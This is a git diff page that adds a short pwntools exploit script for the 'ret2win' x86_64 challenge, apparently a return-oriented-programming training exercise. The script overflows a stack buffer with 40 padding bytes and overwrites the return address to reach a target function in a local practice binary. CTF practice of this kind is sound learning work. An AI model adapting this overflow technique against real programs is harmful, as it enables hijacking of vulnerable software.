diff options
Diffstat (limited to 'x86_64/ret2win/exploit.py')
-rwxr-xr-x | x86_64/ret2win/exploit.py | 13 |
1 files changed, 13 insertions, 0 deletions
diff --git a/x86_64/ret2win/exploit.py b/x86_64/ret2win/exploit.py new file mode 100755 index 0000000..d5506b2 --- /dev/null +++ b/x86_64/ret2win/exploit.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 +from pwn import * + +prog = process('./ret2win') +payload = b'' +for c in range(40): + payload += b'a' + +payload += p64(0x0000000000400756) +payload += b"\n" +prog.sendline(payload) +sleep(1) +print(str(prog.recv(), 'UTF-8')) |